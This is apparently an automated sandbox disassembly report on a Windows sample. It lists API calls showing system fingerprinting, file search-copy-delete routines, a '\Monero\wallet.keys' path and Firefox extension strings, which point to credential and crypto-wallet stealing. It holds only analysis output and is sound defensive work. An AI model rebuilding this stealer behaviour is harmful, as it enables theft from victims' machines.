Part of subcall function 00F47980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F50E00,00000000,?), ref: 00F479B0
Part of subcall function 00F47980: RtlAllocateHeap.NTDLL(00000000), ref: 00F479B7
Part of subcall function 00F47980: GetLocalTime.KERNEL32(?,?,?,?,?,00F50E00,00000000,?), ref: 00F479C4
Part of subcall function 00F47980: wsprintfA.USER32 ref: 00F479F3

Part of subcall function 00F47A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0078EFD8,00000000,?,00F50E10,00000000,?,00000000,00000000), ref: 00F47A63
Part of subcall function 00F47A30: RtlAllocateHeap.NTDLL(00000000), ref: 00F47A6A
Part of subcall function 00F47A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0078EFD8,00000000,?,00F50E10,00000000,?,00000000,00000000,?), ref: 00F47A7D

Part of subcall function 00F47B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0078EFD8,00000000,?,00F50E10,00000000,?,00000000,00000000), ref: 00F47B35

Part of subcall function 00F47B90: GetKeyboardLayoutList.USER32(00000000,00000000,00F505AF), ref: 00F47BE1
Part of subcall function 00F47B90: LocalAlloc.KERNEL32(00000040,?), ref: 00F47BF9
Part of subcall function 00F47B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00F47C0D
Part of subcall function 00F47B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00F47C62
Part of subcall function 00F47B90: LocalFree.KERNEL32(00000000), ref: 00F47D22

Part of subcall function 00F47D80: GetSystemPowerStatus.KERNEL32(?), ref: 00F47DAD

GetCurrentProcessId.KERNEL32(00000000,?,0078E128,00000000,?,00F50E24,00000000,?,00000000,00000000,?,0078F200,00000000,?,00F50E20,00000000), ref: 00F4207E

Part of subcall function 00F49470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00F49484
Part of subcall function 00F49470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00F494A5
Part of subcall function 00F49470: CloseHandle.KERNEL32(00000000), ref: 00F494AF

Part of subcall function 00F47E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47E37
Part of subcall function 00F47E00: RtlAllocateHeap.NTDLL(00000000), ref: 00F47E3E
Part of subcall function 00F47E00: RegOpenKeyExA.KERNEL32(80000002,0077B8E8,00000000,00020119,?), ref: 00F47E5E
Part of subcall function 00F47E00: RegQueryValueExA.KERNEL32(?,0078E328,00000000,00000000,000000FF,000000FF), ref: 00F47E7F
Part of subcall function 00F47E00: RegCloseKey.ADVAPI32(?), ref: 00F47E92

Part of subcall function 00F47F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00F47FC9
Part of subcall function 00F47F60: GetLastError.KERNEL32 ref: 00F47FD8

Part of subcall function 00F47ED0: GetSystemInfo.KERNEL32(00F50E2C), ref: 00F47F00
Part of subcall function 00F47ED0: wsprintfA.USER32 ref: 00F47F16

Part of subcall function 00F48100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0078F158,00000000,?,00F50E2C,00000000,?,00000000), ref: 00F48130
Part of subcall function 00F48100: RtlAllocateHeap.NTDLL(00000000), ref: 00F48137
Part of subcall function 00F48100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00F48158
Part of subcall function 00F48100: __aulldiv.LIBCMT ref: 00F48172
Part of subcall function 00F48100: __aulldiv.LIBCMT ref: 00F48180
Part of subcall function 00F48100: wsprintfA.USER32 ref: 00F481AC

Part of subcall function 00F487C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F50E28,00000000,?), ref: 00F4882F
Part of subcall function 00F487C0: RtlAllocateHeap.NTDLL(00000000), ref: 00F48836
Part of subcall function 00F487C0: wsprintfA.USER32 ref: 00F48850

Part of subcall function 00F48320: RegOpenKeyExA.KERNEL32(00000000,0078BF50,00000000,00020019,00000000,00F505B6), ref: 00F483A4

Part of subcall function 00F48320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F48426
Part of subcall function 00F48320: wsprintfA.USER32 ref: 00F48459
Part of subcall function 00F48320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00F4847B
Part of subcall function 00F48320: RegCloseKey.ADVAPI32(00000000), ref: 00F4848C
Part of subcall function 00F48320: RegCloseKey.ADVAPI32(00000000), ref: 00F48499

Part of subcall function 00F48680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F505B7), ref: 00F486CA
Part of subcall function 00F48680: Process32First.KERNEL32(?,00000128), ref: 00F486DE
Part of subcall function 00F48680: Process32Next.KERNEL32(?,00000128), ref: 00F486F3
Part of subcall function 00F48680: CloseHandle.KERNEL32(?), ref: 00F48761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00F4265B

Strings

(x, xrefs: 00F42054
Hx, xrefs: 00F41AD4

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: (x$Hx
API String ID: 3113730047-797789924
Opcode ID: 4553af7a657b976451239c5d9644e9b588db9eb1f22ec0fc048d36a9ff103588
Instruction ID: 7c15728ee9ee647285d64bb096ab7f69eb19729f57e011d51d2547a690cbf5c0
Opcode Fuzzy Hash: 4553af7a657b976451239c5d9644e9b588db9eb1f22ec0fc048d36a9ff103588
Instruction Fuzzy Hash: 90729F72C54118AAEB19FB90DC92DEEB73CEF14300F5142A9B91662091EF343B49DF66

Function 00F44BB0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F48E0B

lstrcat.KERNEL32(?,00000000), ref: 00F44BEA
lstrcat.KERNEL32(?,0078E368), ref: 00F44C08

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F4492C
Part of subcall function 00F44910: FindFirstFileA.KERNEL32(?,?), ref: 00F44943

Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F50FDC), ref: 00F44971
Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F50FE0), ref: 00F44987
Part of subcall function 00F44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F44B7D
Part of subcall function 00F44910: FindClose.KERNEL32(000000FF), ref: 00F44B92

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F449B0
Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F508D2), ref: 00F449C5
Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F449E2
Part of subcall function 00F44910: PathMatchSpecA.SHLWAPI(?,?), ref: 00F44A1E
Part of subcall function 00F44910: lstrcat.KERNEL32(?,0078FB40), ref: 00F44A4A
Part of subcall function 00F44910: lstrcat.KERNEL32(?,00F50FF8), ref: 00F44A5C
Part of subcall function 00F44910: lstrcat.KERNEL32(?,?), ref: 00F44A70
Part of subcall function 00F44910: lstrcat.KERNEL32(?,00F50FFC), ref: 00F44A82
Part of subcall function 00F44910: lstrcat.KERNEL32(?,?), ref: 00F44A96
Part of subcall function 00F44910: CopyFileA.KERNEL32(?,?,00000001), ref: 00F44AAC
Part of subcall function 00F44910: DeleteFileA.KERNEL32(?), ref: 00F44B31

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F44A07

Strings

(x, xrefs: 00F44CEA
hx, xrefs: 00F44BFB
Hx, xrefs: 00F44D1F

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: (x$Hx$hx
API String ID: 2104210347-2367867696
Opcode ID: 3e34e1e5c319616a9d76a4b09b86e8fed5226ae1d6ef2311dfabff49acc32ee0
Instruction ID: 844d5528b461ec6822e2f83027ba7297dce837acaadd36be604ac2743a8e9599
Opcode Fuzzy Hash: 3e34e1e5c319616a9d76a4b09b86e8fed5226ae1d6ef2311dfabff49acc32ee0
Instruction Fuzzy Hash: 7A41AB7750010467D768FBA0FC42EEE373DAB84700F04855CBA5557289EE799BCC9B92

Function 6CAEC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAEC969
GetSystemInfo.KERNEL32(?), ref: 6CAEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAEC9E2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction ID: 1613cef470aeef8597951b0f085038bed967f093e170f35c330a2cf3b3c8010e
Opcode Fuzzy Hash: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction Fuzzy Hash: EA21FC317412186BDB05AFA4DC84BAEBBB9AB4A708F94051DF903A7780EB705C4487E1

Function 00F312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F312B4
RtlAllocateHeap.NTDLL(00000000), ref: 00F312BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00F312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00F312F5
RegCloseKey.ADVAPI32(?), ref: 00F312FF

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 17cd399af83d8b0dc38f03dcc6c6f3bb89a888e234c93825a053c567b94b7eda
Instruction ID: 90cebb79910c0f2e2a2c310375d4b0ea7d0a33cd1bea24c378e54f916c0b662a
Opcode Fuzzy Hash: 17cd399af83d8b0dc38f03dcc6c6f3bb89a888e234c93825a053c567b94b7eda
Instruction Fuzzy Hash: 160131B9A40208BBDB14DFE0E849FAEB7B8EF48701F148169FA1597284D6719A418F50

Function 00F3A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F48B60: GetSystemTime.KERNEL32(00F50E1A,0078ED10,00F505AE,?,?,00F313F9,?,0000001A,00F50E1A,00000000,?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F48B86

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F3A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00F3A3FF
lstrlen.KERNEL32(00000000), ref: 00F3A6BC

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

DeleteFileA.KERNEL32(00000000), ref: 00F3A743

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 76baa43969f61afdce76170f54a7d5182ddafebc896d9b343aabe3a3dca165f6
Instruction ID: 5a7fae0ffcba66c917eac94239759b23a3dc183daeb6279b32945eb8f2eb3be6
Opcode Fuzzy Hash: 76baa43969f61afdce76170f54a7d5182ddafebc896d9b343aabe3a3dca165f6
Instruction Fuzzy Hash: 5EE1E0728501089BEB19FBA4DC92EEE7738EF54304F508169F91772091EF386A4DDB62

Function 00F3D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F48B60: GetSystemTime.KERNEL32(00F50E1A,0078ED10,00F505AE,?,?,00F313F9,?,0000001A,00F50E1A,00000000,?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F48B86

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F3D801
lstrlen.KERNEL32(00000000), ref: 00F3D99F
lstrlen.KERNEL32(00000000), ref: 00F3D9B3
DeleteFileA.KERNEL32(00000000), ref: 00F3DA32

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ec1f0fc9351593b9639f2c2d99f096d2a31e2bb243c9e85880a32b9e3ae4537a
Instruction ID: 5df4a375ebfc45d48ee19170480c640f297820e19a2cf43a0fc9bf5ea98f42bf
Opcode Fuzzy Hash: ec1f0fc9351593b9639f2c2d99f096d2a31e2bb243c9e85880a32b9e3ae4537a
Instruction Fuzzy Hash: CB8146728501089BEB14FBA0DC52EEE7738FF54304F514528F917A7191EF386A49EB62

Function 00F3F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F399EC
Part of subcall function 00F399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F39A11
Part of subcall function 00F399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F39A31
Part of subcall function 00F399C0: ReadFile.KERNEL32(000000FF,?,00000000,00F3148F,00000000), ref: 00F39A5A
Part of subcall function 00F399C0: LocalFree.KERNEL32(00F3148F), ref: 00F39A90
Part of subcall function 00F399C0: CloseHandle.KERNEL32(000000FF), ref: 00F39A9A

Part of subcall function 00F48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F48E52

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00F51580,00F50D92), ref: 00F3F54C
lstrlen.KERNEL32(00000000), ref: 00F3F56B

Strings

^userContextId=4294967295, xrefs: 00F3F59C
moz-extension+++, xrefs: 00F3F5AD

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

